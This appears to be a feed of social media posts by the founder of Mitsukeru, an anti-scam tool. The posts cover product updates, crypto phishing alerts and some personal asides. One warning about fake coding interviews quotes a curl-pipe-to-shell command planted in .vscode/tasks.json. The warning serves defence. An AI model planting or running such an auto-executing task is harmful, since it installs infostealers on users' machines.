It’s no longer if you’ll get scammed. It’s when.
I’m building Mitsukeru, an always-on AI butler that protects against scams, bad contracts, and social engineering.
💸 $1.03T lost to scams in 2024.
⚡ AI is accelerating infiltration.
🛡️ We need proactive defences, not reactive training.
Why here? Because this is gra...

Not directly Mitsukeru coded, just tangentially. The whole EthosXGrokipedia thought process.
We need to keep track of threads like these, no?
In terms of being a system of record, much more than your typical Google Review (which is Ethos like).
But also, wallets. Wallets tell stories. There is plenty of data, but r...
Promise this is the last Mitsukeru thought I'd have tonight, but when your brain is working overtime, its a stream of consciousness.

how many people will be further affected by the trust wallet recovery process?

@TrustWallet @binance @EowynChen now got an email, that my wallet interacted with binance. However I’m from the Netherlands and Binance is not even operating in the Netherlands…
I have shown everything already. ID, wallet ownership, verification code and EML files.
When do we get the reimbursement? https://t.co/WCYENREYJk

Metamask users, be warned.
2FA verification flow that hits you via email.
Sends you to, mertamask dot com (lol).
Mitsukeru LinkSentinel protects you already, but just don’t be fooled visiting said side and losing your funds.
Be very, very, very careful where you choose to enter your recovery phrase

🚨 New #metamask phishing scam alert
Attackers are impersonating a “2FA security verification” flow, redirecting users via look-alike domains to fake security warnings with countdown timers and “authenticity checks.”
The final step asks for your wallet recovery phrase — once https://t.co/3bX9U1wZbs

ok, super cool japanese song from @kenjiquest - looks like its done in suno, the lyrics are pretty meaningful (really, no one wants to hear "no crying in the casino" or victim blaming).
i presume license wise, i could use this as some kind of background music for Mitsukeru videos - i like the beat, i'm going to :)
Check out my new track "スキャマーの矜持 / A Scammer's Pride" on @tortmusic.eth
Enjoyed making this one 😎
A little villain song for our Scammers out there... it's in Japanese tho.
If anyone is interested in the lyrics, lemme know and I'll pump out a translation.
ハム子の悪役新曲「スキャマーの矜持」を作ったので、良かったら聴いてってくださいな✨ 歌詞は下か、リンクでも見れますよ♪

this may or may not excite some people, but Mitsukeru Clipboard Address Guard kind of has a working Windows build now.
think Microsoft PowerToys.
this week, Chrome plugin (LinkSentinel) and macOS Clipboard Address Guard should be ready for wider beta testing - it might not be Apple signed yet, but beta testers can ki...

I think Hokkien Mee is one of the best things you can consume. With a lot of pork lard, of course.
This is what you get in Kuala Lumpur, in Penang you’ll get a bowl of prawn mee, which is also just as divine, but I haven’t had that in sometime (last visit was pandemic times, late 2020).

Mitsukeru isn't just for crypto users, though that is the initial Ideal Customer Profile (ICP).
We've often said it will scale for the elderly (or anyone really), but also to enterprise (B2B).
The simple Social Engineering Detector (SED) module we've got in Mitsukeru would have prevented this.
I asked Gemini to exp...

Mitsukeru coded - warning for you to beware of some scams around coding interviews and Zoom calls.
If you're getting an interview, beware that you can get some high risk infostealers loaded automatically inside of .vscode/tasks.json. It can literally be as simple as:
"command": curl https:// | sh"
So you are rooted...
This is a very basic command line (i.e. no GUI) version of what Mitsukeru will do. It automatically detects, and quarantines suspicious binaries that are being executed - you know, like you receive on a chat, or video call, when the other participants claim they can't hear you?

Mitsukeru coded thought. What if, "1Password protects your vault. Mitsukeru protects how you use what's in it." Password managers secure storage, but real world risk comes from usage context: phishing, weak creation habits, unsafe endpoints, and credential reuse.
Do you use a password manager? 1Password (valued at $6....

Sophisticated attack, key here was the bad URL. But also, persistence from the scammers.
Can be Apple. Can be Coinbase.
It is actually scary out there. You do need something that watches over you, just in case. Like a pal to double check, just to maybe have you pause and ask yourself if you should proceed. Mitsukeru...
Scam alert: My husband just got targeted with this phishing attempt on his Apple ID. We found a blog post from someone else who wrote about it.
Sharing for reach. Be careful out there.
